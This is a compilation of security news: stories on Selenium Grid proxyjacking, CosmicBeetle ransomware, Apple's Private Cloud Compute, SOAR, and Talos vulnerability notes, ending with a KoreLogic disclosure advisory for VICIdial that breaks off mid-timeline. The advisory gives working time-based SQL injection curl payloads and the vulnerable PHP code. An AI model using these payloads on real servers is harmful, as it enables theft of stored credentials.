A vendor honeypot caught two attacks intended to leverage the tens of thousands of exposed Selenium Grid Web app testing servers.

Source: Olekcii Mach via Alamy Stock Photo

Threat actors are infecting Internet-exposed Selenium Grid servers, with the goal of using victims' Internet bandwidth for cryptomining, proxyjacking, and potentially much worse.

Selenium is an open source suite of tools for browser automation that, according to data from Wiz, can be found in 30% of cloud environments. Selenium Grid is its open source tool for automatically testing Web applications across multiple platforms and browsers in parallel, used by millions of developers and thousands of organizations worldwide. Its Selenium/hub docker image has more than 100 million pulls on Docker Hub.

Though it's an internal tool by nature, tens of thousands of Selenium Grid servers are exposed on the Internet today. In turn, at least some hackers have deployed automated malware intended to hijack these servers for various malicious purposes.

To gauge the kinds of threats that face these untended servers, Cado Security recently launched a honeypot. As Al Carchrie, R&D lead solutions engineer for Cado Security, remembers, "We deployed the honeypot on a Tuesday, and then we started to see activity within 24 hours."

**Selenium Proxyjacking**

During the research period, two primary threats kept automatically trying to attack the honeypot day after day.

The first deployed a series of scripts, including one labeled "y," which dropped the open source networking toolkit GSocket. GSocket is designed to allow two users behind firewalls to establish a secure TCP connection. In this and other cases, though, threat actors used it as a means of command-and-control (C2).

Two scripts followed, "pl" and "tm," which performed various reconnaissance functions — analyzing system architecture, checking for root privileges, and other functions — and dropped the campaign's primary payloads: Pawns.app (IPRoyal Pawn) and EarnFM. Each of these are proxyware — programs that allow users to essentially rent out their unused internet bandwidth.

Though services like these are sold legitimately, hackers can easily weaponize them for their own purposes. Called "proxyjacking," it involves hijacking an unwitting Internet user's IP to use as one's own personal proxy server for further malicious activities or selling it to another cybercriminal.

"It allows people to hide behind legitimate IP addresses, and the reason for doing that is to try and bypass IP filtering that organizations would put in place," Carchrie explains. "So if you're using Tor to try and anonymize yourselves, organizations might blacklist Tor IP addresses from accessing their infrastructure. This gives them an opportunity. This is the first time I've personally come across proxyjacking being used as the end goal of a campaign."

**More Significant Threats to Selenium**

The second attack snagged by the honeypot was similar in its initial means of infection, but dropped a Golang-based executable and linkable format (ELF) binary. The ELF, in turn, attempted to use "PwnKit," a public exploit for CVE-2021-4043, an old, medium severity Linux privilege escalation bug (CVSS score 5.5).

Next, the malware connected to an attacker's C2 infrastructure and dropped "perfcc," a cryptominer. In this way, it paralleled a different, yearlong campaign revealed by Wiz back in July, which used Selenium Grid as a vector to deploy the XMRig miner.

As Ami Luttwak, CTO and co-founder of Wiz, explains, the same kind of attack can be used to do a lot worse.

"Remember, Selenium runs usually in test environments," he says. "Test environments have proprietary code, and many times from test environments you can actually get access back to either engineering environments or production. So this could be used by a more advanced attacker to start actually attacking the exposed organization."

**30,000 Publicly Exposed Servers**

Being an internal tool by nature, Selenium Grid does not have any authentication to barricade attackers from breaking in. Its maintainers have warned in documentation that it "must be protected from external access using appropriate firewall permissions."

In July, though, Wiz found around 15,000 updated but Internet-exposed Selenium Grid servers. Worse: More than 17,000 were both exposed to the Internet, and running outdated versions. (That number has since dropped below 16,000.) The vast majority of these were based in the US and Canada.

It was only a matter of time, then, before threat actors capitalized on the opportunity. The first documented sign of it was reported in a Reddit post.

"Selenium is built to be an internal service for testing," Luttwak emphasizes. "In most scenarios, it's not supposed to be publicly accessible. If it is, then there is a risk there you have to mitigate."

Carchrie advises, "If you need your Selenium Grid accessible via the Internet, we recommend that you deploy an appropriately configured authentication proxy server in front of the Selenium Grid application using multifactor authentication as well as username and passwords."

Don't miss the latest Dark Reading Confidential podcast, where we talk to two cybersecurity professionals who were arrested in Dallas County, Iowa, and forced to spend the night in jail — just for doing their pen-testing jobs. Listen now!

**About the Author**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

Hackers Proxyjack &amp; Cryptomine Selenium Grid Servers

With an immature codebase and a "rather chaotic encryption scheme" prone to failure, the group targets small businesses with custom malware.

Source: Mark Brandon via Shutterstock

A cybercriminal group — or individual — known as "CosmicBeetle" is exploiting vulnerabilities in technologies used by small businesses in Turkey, as well as Spain, India, and South Africa. The goal is to install ransomware that — unfortunately for victims — sometimes has glitches.

Likely based in Turkey, the ransomware attacker operates at a fairly "low level of sophistication" and is currently developing ransomware that demonstrates a "rather chaotic encryption scheme," according to analysis by Slovakian cybersecurity firm ESET. CosmicBeetle often deploys custom ransomware, dubbed ScRansom by ESET, that appears to be under active development with frequent updates and changes.

Because CosmicBeetle demonstrates immature skills as a malware developers, a variety of problems have affected victims of the threat actor's ransomware, says Jakub Souček, a senior malware researcher at ESET, who analyzed CosmicBeetle. In one case, ESET worked with a victim organization and found that the encryption routines executed multiple times on some of the infected machines, resulting in some data recovery failing.

"Seasoned gangs prefer to have their decryption process as easy as possible to increase the chances of correct decryption, which boosts their reputation and increases the likelihood that victims will pay," the report stated.

But for CosmicBeetle, "while we were able to verify that the decryptor — in its most recent state — works from the technical point of view, a lot of factors still come to play, and the more you need \[for decryption\] from the threat actor, the more unsure the situation," he says. "The fact that the ScRansom ransomware is still changing quite rapidly doesn't help."

The relative immaturity of the CosmicBeetle threat actor has led the group to embark on two interesting strategies, according to the ESET report. First, the group has attempted to imply connections with the infamous LockBit cybercriminal group as a way to, ironically, inspire trust in their ability to help victims recover their data. Second, the group has also joined the RansomHub affiliate program, and now often installs that ransomware rather than its own custom malware.

**Opportunistically Targeting SMBs**

To kick off its compromises, the CosmicBeetle group scans for and attempts to exploit a variety of older vulnerabilities in software typically used by small and midsize businesses, such as issues in Veeam Backup & Replication (CVE-2023-27532), which can allow unauthenticated attackers to access the backup infrastructure, or two privilege escalation vulnerabilities in Microsoft Active Directory (CVE-2021-42278 and CVE-2021-42287), which together allow a user to "effectively become a domain admin."

The group is likely not specifically targeting SMBs, but because of the software it targets for exploitation, smaller businesses make up the majority of its victims, Souček says.

"CosmicBeetle abuses quite old known vulnerabilities, which we expect more likely to be patched in larger companies with better patch management in place," he says, adding: "Victims outside of the EU and US, especially SMBs, are typically the result of immature, non-seasoned ransomware gangs going for the low-hanging fruit."

The targets include companies in the manufacturing, pharmaceuticals, legal, education, and healthcare industries, among others, according to ESET's report published on September 10.

"SMBs from all sorts of verticals all over the world are the most common victims of this threat actor because that is the segment most likely to use the affected software and to not have robust patch management processes in place," the report stated.

**Turkish Delight? Not So Much**

Turkey accounts for the most victimized organizations, but a significant number also come from Spain, India, South Africa, and a handful of other countries, according to data collected by ESET from the CosmicBeetle leak site.

While one firm has connected the threat actor to an actual person — a Turkish software developer — ESET cast doubt on the connection. Yet, with Turkey accounting for a larger share of infections, the group is probably from the nation or the region, Souček acknowledges.

"We could speculate that CosmicBeetle has more knowledge of Turkey and feels more confident choosing their targets there," he says. "As for the remaining targets, it is purely opportunistic — a combination of vulnerability of the target and it being 'sufficiently interesting' as a ransomware target."

**About the Author**

Veteran technology journalist of more than 20 years. Former research engineer. Written for more than two dozen publications, including CNET News.com, Dark Reading, MIT's Technology Review, Popular Science, and Wired News. Five awards for journalism, including Best Deadline Journalism (Online) in 2003 for coverage of the Blaster worm. Crunches numbers on various trends using Python and R. Recent reports include analyses of the shortage in cybersecurity workers and annual vulnerability trends.

Amateurish 'CosmicBeetle' Ransomware Stings SMBs in Turkey

Torrance, United States / California, 12th September 2024, CyberNewsWire

**Torrance, United States / California, September 11th, 2024, CyberNewsWire**

Criminal IP, a distinguished leader in Cyber Threat Intelligence (CTI) search engine developed by AI SPERA, announced that it has successfully integrated its IP address-related risk detection data with IPLocation.io, one of the most visited IP analysis and lookup tools on the internet.

Through the integration, IPLocation.io, a prominent IP address geolocation tracker platform with a substantial user base, now offers more detailed insights on IP addresses from Criminal IP’s accurate and up-to-date threat intelligence database.

**Innovative Data Ecosystem Driven by Search Engine and AI Expertise**

This is a groundbreaking advancement because Criminal IP’s database, built on a search engine framework, is more than a collection of information; it’s a refined machine learning ecosystem honed through extensive scanning and detection of malicious IP addresses. The system continuously enhances its accuracy by transforming self-collected threat data, particularly behavioral patterns for IP address evasion, into actionable intelligence using AI and machine learning techniques.

**Tracking Down Threat History with Snort and Scanner Information**

Unlike traditional IP tracking methods, which only provide the geographic location of IP addresses, Criminal IP data in IPLocation.io now delivers information from ‘Snort’, a network intrusion detection system, and vulnerability scanners on open ports. This, along with newly provided inbound and outbound scores of IP addresses, enables the comprehensive identification of threat information related to IP addresses. Users can now compile the information themselves to assess the risk of an IP address, supported by a variety of fact-based evidence.

Threat data from Criminal IP accessible on IPLocation.io website

Among IP Location Lookup data sources, Criminal IP provides the most comprehensive data, offering 25 distinct data points for a single IP address.

**Evasion-Focused Dynamic Pattern Analysis Unveils Potential Attack Scenarios**

Users can also detect IP address obfuscation and protect their assets with new VPN, Proxy, and Tor data in IP Location. The aforementioned data helps identify discrepancies between actual and reported locations of an IP address, as well as traffic routed through multiple servers, thus revealing potential threats. The system goes beyond a mere review of past records; it offers predictive insights into future risks by analyzing behavioral patterns and potential attack scenarios. This underscores the CTI database’s distinctive capability to continuously learn and analyze attack patterns executed online.

**About AI SPERA**

AI SPERA equips cybersecurity professionals with advanced tools and insights to protect digital assets. Its flagship products include Criminal IP, renowned for its AI-based search engine, as well as attack surface management and fraud detection for enterprise solutions. The firm’s established presence in major marketplaces like AWS and Snowflake further underscores its credibility and the trust placed in its services by leading industry players. Recently, AI SPERA achieved Level 1 certification under PCI DSS v4.0, overseen by the six leading global card issuers, showcasing its commitment to top-tier data security.

**Contact**

**Michael Sena**  
**AI SPERA**  
**\[email protected\]**

Criminal IP Teams Up with IPLocation.io to Deliver Unmatched IP Solutions to Global Audiences

Private Cloud Compute is an entirely new kind of infrastructure that, Apple’s Craig Federighi tells WIRED, allows your personal data to be “hermetically sealed inside of a privacy bubble.”

The generative AI boom has, in many ways, been a privacy bust thus far, as services slurp up web data to train their machine learning models and users’ personal information faces a new era of potential threats and exposures. With the release of Apple’s iOS 18 and macOS Sequoia this month, the company is joining the fray, debuting Apple Intelligence, which the company says will ultimately be a foundational service in its ecosystem. But Apple has a reputation to uphold for prioritizing privacy and security, so the company took a big swing. It has developed extensive custom infrastructure and transparency features, known as Private Cloud Compute (PCC), for the cloud services Apple Intelligence uses when the system can't fulfill a query locally on a user's device.

The beauty of on-device data processing, or “local” processing, is that it limits the paths an attacker can take to steal a user's data. The data never leaves the computer or phone, so that's what the attacker has to target. It doesn't mean an attack will never be successful, but the battleground is defined and constrained. Giving data to a company to process in the cloud isn't inherently a security issue—an unfathomable amount of data moves through global cloud infrastructure safely every day. But it expands that battlefield immensely and also creates more opportunities for mistakes that inadvertently expose data. The latter has particularly been an issue with generative AI given the unintended ways that a system tasked with generating content may access and share information.

With Private Cloud Compute, Apple has developed an array of innovative cloud security technologies. But the service is also significant for pushing the limits of what is an acceptable business proposition for a cloud service, seemingly prioritizing secure architecture over what would be most technically efficient or economical.

“We set out from the beginning with a goal of how can we extend the kinds of privacy guarantees that we’ve established with processing on-device with iPhone to the cloud—that was the mission statement," Craig Federighi, senior vice president of software engineering at Apple, tells WIRED. “It took breakthroughs on every level to pull this together, but what we’ve done is achieve our goal. I think this sets a new standard for processing in the cloud in the industry.”

To remove many of the potential attack points and pitfalls that cloud computing can introduce, Apple says its developers focused on the idea that “security and privacy guarantees are strongest when they are entirely technically enforceable” rather than implemented through policies.

In other words, you can have a plate of cupcakes on the counter and make a policy for yourself that you're not going to eat any of them. Or you could have a policy that you never make or buy cupcakes. But the Private Cloud Compute approach would be to move to a town with no bakeries, rip out your kitchen, and close your credit cards to prevent yourself from buying Easy Bake Ovens. That way there's no question about your cupcake access or the possibility of accidental cupcake hoarding.

**Starting Fresh**

Apple created purpose-built servers running Apple processors for PCC and developed a custom PCC server operating system that's a stripped down, hybrid version of iOS and macOS. The scheme incorporates hardware and software security features the company has developed for Macs and iPhones over the past two decades.

Unlike these consumer devices, though, PCC servers are as bare-bones as possible. For example, they don't include “persistent storage,” meaning that they don't have a hard drive that can keep processed data long-term. They do incorporate Apple's dedicated hardware encryption key manager known as the Secure Enclave and randomize each file system's encryption key at every boot up as well. This means that once a PCC server is rebooted, no data is retained and, as an additional precaution, the entire system volume is cryptographically unrecoverable. At that point, all the server can do is start fresh with a new encryption key.

PCC servers also use Apple's Secure Boot to validate the integrity of the operating system and use a code verification feature the company debuted with iOS 17, known as Trusted Execution Monitor. Instead of using Trusted Execution Monitor in the usual way for oversight, though, PCC runs it in a much stricter mode where once the server restarts and completes the boot sequence, the system locks down and can't load any new code whatsoever. Essentially, all the software the server needs to run gets pummeled with checks and validation and then goes into an envelope that's sealed before user requests and data can begin to process through.

More broadly, Apple says it completely replaced its normal server management tools for PCC. For example, most cloud platforms have policies and controls to prevent unauthorized access, but they also build “break in case of emergency”-type options so highly trusted system administrator accounts can take quick action in case of a bug or failure. In keeping with Apple's focus on technically enforceable guarantees versus policy guarantees, PCC doesn't allow privileged access and drastically limits remote management options.

In recent years, Apple took a major security step by offering its users end-to-end encryption for iCloud backups, in which the company simply holds data in its cloud infrastructure for its customers and doesn't have the technical capability to decrypt and read that data. With current technology, such a scheme is impossible to implement for generative AI because the system needs to process the inputs to give an output. For example, if you want Apple Intelligence to give you a summary of all the text messages and emails you've received in the past three hours, the system needs access to those messages. End-to-end encryption would make that access virtually impossible.

Apple says it is still committed to doing as much Apple Intelligence processing as possible on-device, and a brand new iPhone 16 with its A18 chip, for example, will be able to do more AI processing locally than an iPhone 15 with an A16 chip. Still, the reality seems to be that Apple will need to do a substantial amount of Apple Intelligence processing in the cloud—hence the investment in developing PCC. (In iOS 18.1, users can go to Settings > Privacy & Security > Apple Intelligence Report to view a log of which requests are processed on device versus in the cloud.)

“What was really unique about the problem of doing large language model inference in the cloud was that the data had to at some level be readable by the server so it could perform the inference. And yet, we needed to make sure that that processing was hermetically sealed inside of a privacy bubble with your phone," Federighi says. “So we had to do something new there. The technique of end-to-end encryption—where the server knows nothing—wasn’t possible here, so we had to come up with another solution to achieve a similar level of security.”

Still, Apple says that it offers “end-to-end encryption from the user’s device to the validated PCC nodes, ensuring the request cannot be accessed in transit by anything outside those highly protected PCC nodes.” The system is architected so Apple Intelligence data is cryptographically unavailable to standard data center services like load balancers and logging devices. Inside a PCC cluster, data is decrypted and processed, but Apple emphasizes that once a response is encrypted and sent on its journey to the user, no data is retained or logged and none of it is ever accessible to Apple or its individual employees.

**Open Book, Closed System**

Apple says the overarching vision for PCC is that an attacker should have to compromise the entire system—a difficult thing to do at all much less without being detected—in order to target a specific user's personal data. Even if an attacker could physically compromise an individual live PCC node, the system is devised with an anonymous relay feature so the queries and data on any one node can't be connected to individual users.

It all sounds pretty groovy, but the notoriously secretive company seems to be aware that professing to do all of these things and claiming to offer technical guarantees is ultimately only compelling with proof and transparency. So PCC includes an external auditing mechanism that serves a crucial dual purpose.

Apple is making every production PCC server build publicly available for inspection so people unaffiliated with Apple can verify that PCC is doing (and not doing) what the company claims, and that everything is implemented correctly. All of the PCC server images are recorded in a cryptographic attestation log, essentially an indelible record of signed claims, and each entry includes a URL for where to download that individual build. PCC is designed so Apple can't put a server into production without logging it. And in addition to offering transparency, the system works as a crucial enforcement mechanism to prevent bad actors from setting up rogue PCC nodes and diverting traffic. If a server build hasn't been logged, iPhones will not send Apple Intelligence queries or data to it.

PCC is part of Apple's bug bounty program, and vulnerabilities or misconfigurations researchers find could be eligible for cash rewards. Apple says, though, that since the iOS 18.1 beta became available in late July, no on has found any flaws in PCC so far. The company recognizes that it has only made the tools to evaluate PCC available to a select group of researchers so far.

Multiple security researchers and cryptographers tell WIRED that Private Cloud Compute looks promising, but they haven't spent significant time digging into it yet.

“Building Apple silicon servers in the data center when we didn’t have any before, building a custom OS to run in the data center was huge,” Federighi says. He adds that “creating the trust model where your device will refuse to issue a request to a server unless the signature of all the software the server is running has been published to a transparency log was certainly one of the most unique elements of the solution—and totally critical to the trust model.”

To questions about Apple's partnership with OpenAI and integration of ChatGPT, the company emphasizes that partnerships are not covered by PCC and operate separately. ChatGPT and other integrations are turned off by default, and users must manually enable them. Then, if Apple Intelligence determines that a request would be better fulfilled by ChatGPT or another partner platform, it notifies the user each time and asks whether to proceed. Additionally, people can use these integrations while logged into their account for a partner service like ChatGPT or can use them through Apple without logging in separately. Apple said in June that another integration with Google's Gemini is also in the works.

Apple said this week that beyond launching in United States English, Apple Intelligence is coming to Australia, Canada, New Zealand, South Africa, and the United Kingdom in December. The company also said that additional language support—including for Chinese, French, Japanese, and Spanish—will drop next year. Whether that means that Apple Intelligence will be permitted under the European Union's AI Act and whether Apple will be able to offer PCC in its current form in China is another question.

“Our goal is to bring ideally everything we can to provide the best capabilities to our customers everywhere we can,” Federighi says. “But we do have to comply with regulations, and there is uncertainty in certain environments we’re trying to sort out so we can bring these features to our customers as soon as possible. So, we’re trying.”

He adds that as the company expands its ability to do more Apple Intelligence computation on-device, it may be able to use this as a workaround in some markets.

Those who do get access to Apple Intelligence will have the ability to do far more than they could with past versions of iOS, from writing tools to photo analysis. Federighi says that his family celebrated their dog’s recent birthday with an Apple Intelligence–generated GenMoji (viewed and confirmed to be very cute by WIRED). But while Apple's AI is meant to be as helpful and invisible as possible, the stakes are incredibly high for the security of the infrastructure underpinning it. So how are things going so far? Federighi sums it up without hesitation: “The rollout of Private Cloud Compute has been delightfully uneventful.”

Apple Intelligence Promises Better AI Privacy. Here’s How It Actually Works

Business intelligence firm Gartner labels security orchestration, automation, and response as "obsolete," but the fight to automate and simplify security operations is here to stay.

Source: Screenshot of Gartner Chart via Robert Lemos

What Gartner giveth, Gartner can take away.

Seven years ago, analysts at the business intelligence firm coined the term "security orchestration, automation, and response" (SOAR) to describe what they considered a new class of products: integrated security operations that could not only detect threats and issues, but also use playbooks to augment incident responders' efforts and, eventually, completely automate the response.

No wonder, then, that Gartner's labeling of the technology two months ago as "obsolete before plateau" — meaning the category has stalled before becoming a well-established IT tool — created a kerfuffle. Customers inundated the firm with questions on what the designation implied. Vendors in the security automation sector were more blunt.

Any suggestion that SOAR is dead is "the dumbest thing I've ever heard — absolutely asinine," says James Brear, CEO of Swimlane, a provider of security operations automation. "If you just remove the \[term\] SOAR and added the word automation, \[then the assertion\] sounds ridiculous. It's kind of like saying that AI is going away."

SOAR is not the first technology to be assigned Gartner's dreaded "Hype Cycle" designation. In 2022, data meshes became obsolete before reaching the plateau — more formally, the "Plateau of Productivity." In 2020, Gartner slapped the label on demand-driven material requirements planning, a supply chain management approach. Ditto for broadband over powerlines in 2010.

"This premature obsolescence typically results from the emergence of a competing technology — for example, analog high-definition TV gave way to digital high-definition TV," Gartner stated in an explanation of its Hype Cycle model.

In the latest case, labeling SOAR as obsolete comes as the components of the product category have become subsumed by other products and services, while automation is increasingly an expected feature, says Eric Ahlm, senior director analyst at Gartner. Security operations centers (SOCs) required orchestration as a standalone feature to integrate disparate products into a single hub for operations, the analyst explains, and as corporate customers sought out simplified operations, vendors further integrated their services to consolidate SOAR with other products and services.

A parade of mergers and acquisitions highlights the trend. Palo Alto Networks bought Demisto in 2019 and acquired QRadar from IBM earlier this year. Rapid7 bought SOAR firm Komand back in 2017, and SumoLogic acquired DFLabs in 2021.

"There's a lot of different ways to add automation — an efficiency boost or increase scale through automation — without going out and buying a standalone, dedicated SOAR platform," Ahlm says. "That's really what we're calling out — not the end of automation or that it's a dead-end concept — but the field of vendors who sell nothing but dedicated platforms for automation, I don't think ... have a very lively future."

**Wanted: A Simplified Security Hub**

Most companies want a single hub for all of their security information, from which they can manage incidents, conduct investigations, and respond to threats. SOAR was originally envisioned to be that central hub, but strong integration between products, better automation, and a focus on visibility means that other products can now fill that role.

In other words, the central hub does not have to be SOAR. Increasingly, the choice of security operations platform depends on where a business starts out and what core platform it believes delivers most value, Ahlm says. Both extended detection and response (XDR) and security event and information management (SIEM) platforms, for example, are increasingly a security focal point for companies.

The features of SOAR — the integration, visibility, and automated response — have migrated to a variety of security products, says Chas Clawson, field CTO at Sumo Logic, a provider of automated security operations platforms.

"It shows the maturity of the security operations world, when something as critical as automation becomes kind of table stakes, and every solution has to have some flavor of automation," he says. "It's probably long overdue \[because of the\] pain ... from the defender side — analyst burnout and swivel-chair syndrome ... \[from which\] we really need some reprieve."

Sumo Logic has its own SOAR product — Cloud SOAR — which focuses on integrating data streams from different IT devices, security products, and cloud services, along with automation for security operations.

**Still a Strong Case for Better SOAR**

Yet another company behind SOAR is cybersecurity firm Palo Alto Networks, which has doubled down on security automation. The company's security operations center ingests 36 billion events per day — a volume of more than 75 terabytes — with only 10 human analysts. In its use case, the company says its Cortex XSOAR automates the work of 16 analysts and reduces time spent on manual actions by 90%.

"By standardizing and automating time-consuming, manual tasks, SOAR solutions dramatically reduce time spent on incident response," says Gonen Fink, senior vice president of Palo Alto Networks' Cortex and Prisma Cloud products. "While many stand-alone security products will continue to integrate some level of automation, SOAR solutions provide more robust capabilities, orchestrating and automating various actions across an organization's technology stack."

Swimlane has also focused on automating security tasks and incident response, typically for larger companies such as the Fortune 2000. Founded in 2014 — three years before Gartner reportedly created the modern term SOAR — the company's approach is to gather data from all of the IT devices and intelligence from security products and then automate the response to any identified incidents, says Swimlane's Brear.

"The genesis \[of the company was\], 'How can we make the SOC better?'" he says. "If you go back in time, there were a bazillion different tools that the SOC guys were looking at — it's complicated to try to get visibility."

For those reasons, a standalone SOAR platform is a necessary and reasonable approach to security for many companies — and far from obsolete — but customers will continue to need better integrations with common technologies, such as Microsoft and managed detection and response (MDR) platforms, according to analyst firm Omdia.

"Users of security technologies want to have solutions that are easy to use, require minimum training, and can integrate easily," says Elvia Finalle, senior analyst at Omdia. "SOAR vendors will have to continue to adapt to platforms and expand their compatibility with other vendors and solutions."

**AI + Automation = Security Evolution**

While the core use case for SOAR remains strong, the combination of artificial intelligence, automation, and the current plethora of cybersecurity products will result in a platform that could take market share from SOAR systems, such as an AI-enabled next-generation SIEM, says Eric Parizo, managing principal analyst at Omdia.

"SOC decision-makers are \[not\] going out looking to purchase orchestration and automation as much as they're looking to solve the problem of fostering a faster, more efficient TDIR \[threat detection, investigation, and response\] life cycle with better, more consistent outcomes," he says. "The orchestration and automation capabilities within standalone SOAR solutions are intended to facilitate those business objectives."

AI and machine learning will continue to increasingly augment automation, says Sumo Logic's Clawson. While creating AI security agents that process data and automatically respond to threats is still in its infancy, the industry is clearly moving in that direction, especially as more infrastructure uses an "as-code" approach, such as infrastructure-as-code, he says.

The result could be an approach that reduces the need for SOAR.

"When you have this Copilot technology — you've heard the term 'agentification,' \[where\] you've got this agent at your disposal that can do anything that you want — it dilutes the value of SOAR," Clawson says. "Because AI can be an expert coder and developer, and it has access to every API and all the documentation, you can almost just start to interact with systems in a more humanlike way."

Don't miss the latest Dark Reading Confidential podcast, where we talk to two cybersecurity professionals who were arrested in Dallas County, Iowa and forced to spend the night in jail -- just for doing their pen-testing jobs. Listen now!

**About the Author**

Veteran technology journalist of more than 20 years. Former research engineer. Written for more than two dozen publications, including CNET News.com, Dark Reading, MIT's Technology Review, Popular Science, and Wired News. Five awards for journalism, including Best Deadline Journalism (Online) in 2003 for coverage of the Blaster worm. Crunches numbers on various trends using Python and R. Recent reports include analyses of the shortage in cybersecurity workers and annual vulnerability trends.

SOAR Is Dead, Long Live SOAR

CVE-2024-38257 is considered “less likely” to be exploited, though it does not require any user interaction or user privileges.

**Vulnerability in Acrobat Reader could lead to remote code execution; Microsoft patches information disclosure issue in Windows API**

Wednesday, September 11, 2024 12:00

Cisco Talos’ Vulnerability Research team discovered two vulnerabilities have been disclosed and fixed over the past few weeks. 

Talos discovered a time-of-check time-of-use vulnerability in Adobe Acrobat Reader, one of the most popular PDF readers currently available, and an information disclosure vulnerability in the Microsoft Windows AllJoyn API. 

For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website. 

**Microsoft AllJoyn API information disclosure vulnerability **

   
The AllJoyn API in some versions of the Microsoft Windows operating system contains an information disclosure vulnerability. 

TALOS-2024-1980 (CVE-2024-38257) could allow an adversary to view uninitialized memory on the targeted machine. 

AllJoyn is a DCOM-like framework for creating method calls or sending one-way signals between applications on a distributed bus. It primarily is used in internet-of-things (IoT) devices to tell the devices to perform certain tasks, like turning lights on or off or reading the temperature of a space. 

Microsoft fixed this issue as part of its monthly security update on Tuesday. For more on Patch Tuesday, read Talos’ blog here. 

CVE-2024-38257 is considered “less likely” to be exploited, though it does not require any user interaction or user privileges.   

**Adobe Acrobat Reader annotation object page race condition  **

_Discovered by KPC._ 

Adobe Acrobat Reader, one of the most popular pieces of PDF reading software currently available, contains a time-of-check, use-after-free vulnerability that could trigger memory corruption, and eventually, arbitrary code execution. 

TALOS-2024-2011 (CVE-2024-39420) can be executed if an adversary tricks a targeted user into opening a specially crafted PDF file with malicious JavaScript embedded. This JavaScript could then trigger memory corruption due to a race condition.  

Depending on the memory layout of the process this vulnerability affects, it may be possible to abuse this vulnerability for arbitrary read and write access, which could ultimately be abused to achieve arbitrary code execution.

Vulnerability in Acrobat Reader could lead to remote code execution; Microsoft patches information disclosure issue in Windows API

An attacker with authenticated access to VICIdial version 2.14-917a as an agent can execute arbitrary shell commands as the root user. This attack can be chained with CVE-2024-8503 to execute arbitrary shell commands starting from an unauthenticated perspective.

VICIdial 2.14-917a Remote Code Execution

An unauthenticated attacker can leverage a time-based SQL injection vulnerability in VICIdial version 2.14-917a to enumerate database records. By default, VICIdial stores plaintext credentials within the database.

    KL-001-2024-011: VICIdial Unauthenticated SQL InjectionTitle: VICIdial Unauthenticated SQL InjectionAdvisory ID: KL-001-2024-011Publication Date: 2024-09-10Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-011.txt1. Vulnerability Details      Affected Vendor: VICIdial      Affected Product: VICIdial      Affected Version: 2.14-917a      Platform: GNU/Linux      CWE Classification: CWE-89: Improper Neutralization of Special                          Elements used in an SQL Command                          ('SQL Injection')      CVE ID: CVE-2024-85032. Vulnerability Description      An unauthenticated attacker can leverage a time-based SQL      injection vulnerability in VICIdial to enumerate database      records. By default, VICIdial stores plaintext credentials      within the database.3. Technical Description      VICIdial is an open-source contact center suite, mainly used      by call centers. The "vicidial.com" website boasts over 14,000      registered installations. There is a public SVN repository to      access the source code, as well as an ISO that can be used to      install the software. The ISO was used in a virtual machine      for testing purposes.      When performing SQL queries, VICIdial does not use prepared      statements, but instead uses the "preg_replace" PHP function      to remove problematic characters in user-controlled input      before interpolating the variable into a SQL query. This      is largely an effective solution, as regular expressions      like "/[^-_0-9a-zA-Z]/" are passed to "preg_replace", which      essentially limits input to the characters shown in the pattern      (letters, numbers, underscores, and hyphens).      However, these scripts do not utilize a shared PHP file      for performing sanitization uniformly. Instead, each script      individually implements the "preg_replace" function, leading      to inconsistencies in which patterns are used and where they      are applied.      For example, providing credentials via the "Authorization"      request header using the "Basic" scheme, most PHP scripts      sanitize the username value with the following line:     $PHP_AUTH_USER = preg_replace('/[^-_0-9a-zA-Z]/','',$PHP_AUTH_USER);      However, the "VERM_AJAX_functions.php" PHP script does not      perform any sanitization before inserting the username into      a SQL "INSERT" statement:     $PHP_AUTH_USER=$_SERVER['PHP_AUTH_USER'];     $PHP_AUTH_PW=$_SERVER['PHP_AUTH_PW'];     ...     if ($function=="log_custom_report")       {       $rpt_log_stmt="insert ignore into         verm_custom_report_holder(user,         report_name, report_parameters)         values('$PHP_AUTH_USER', '$custom_report_name',         '$LOGhttp_referer') ON DUPLICATE KEY         UPDATE report_name='$custom_report_name',         report_parameters='$custom_report_vars'";       $rpt_log_rslt=mysql_to_mysqli($rpt_log_stmt, $link);       return mysqli_affected_rows($rpt_log_rslt);       }      Since "VERM_AJAX_functions.php" can be accessed without      authentication, this creates a straight forward unauthenticated      SQL injection vulnerability. While the page response cannot      be manipulated by the execution of the query, delays in the      page response can be observed when using SQL functions such as      "sleep()", enabling the enumeration of database values using      time-based SQL injection:     $ time curl -u "foo:bar" \  http://REDACTED/VERM/VERM_AJAX_functions.php?function=log_custom_report     real    0m0.019s   <--- (normal response time)     user    0m0.004s     sys    0m0.008s     $ time curl -u "','',sleep(5));#:bar" \  http://REDACTED/VERM/VERM_AJAX_functions.php?function=log_custom_report     real    0m5.023s   <--- (5-second delay in response time)     user    0m0.003s     sys    0m0.008s      This observable difference can be used to craft queries that      sleep under specific conditions, allowing an attacker to ask      "Yes or No" questions. In the following example, the "sleep()"      function is called only if the provided string matches the      database version:     $ time curl -u \         "','',IF(@@version='korelogic',sleep(5),NULL));#:bar" \  http://vicidial.zz/VERM/VERM_AJAX_functions.php?function=log_custom_report     real    0m0.024s   <--- (normal response time)     user    0m0.006s     sys    0m0.003s     $ time curl -u \  "','',IF(@@version='10.6.14-MariaDB-log',sleep(5),NULL));#:bar" \  http://vicidial.zz/VERM/VERM_AJAX_functions.php?function=log_custom_report     real    0m5.019s   <--- (5-second delay in response time)     user    0m0.004s     sys    0m0.008s4. Mitigation and Remediation Recommendation      This issue has been remediated in the public svn/trunk codebase,      as of revision 3848 committed 2024-07-08.5. Credit      This vulnerability was discovered by Jaggar Henry of KoreLogic,      Inc.6. Disclosure Timeline      2024-07-05 : KoreLogic requests security contact from                   support@vicidial.com.      2024-07-08 : KoreLogic reports vulnerability details to VICIdial                   contact.      2024-07-08 : VICIdial notifies KoreLogic that the issue has been                   remediated with revision 3848 in the public                   Subversion repository.      2024-07-11 : KoreLogic confirms this vulnerability has been                   remediated. KoreLogic asks VICIdial if it is                   appropriate to publicly disclose the vulnerability                   details at this time.      2024-07-11 : VICIdial requests four weeks of embargo in order to                   upgrade supported customers.      2024-08-05 : KoreLogic asks VICIdial if it is appropriate to                   publicly disclose the vulnerability details at                   this time.      2024-08-09 : VICIdial requests an additional two 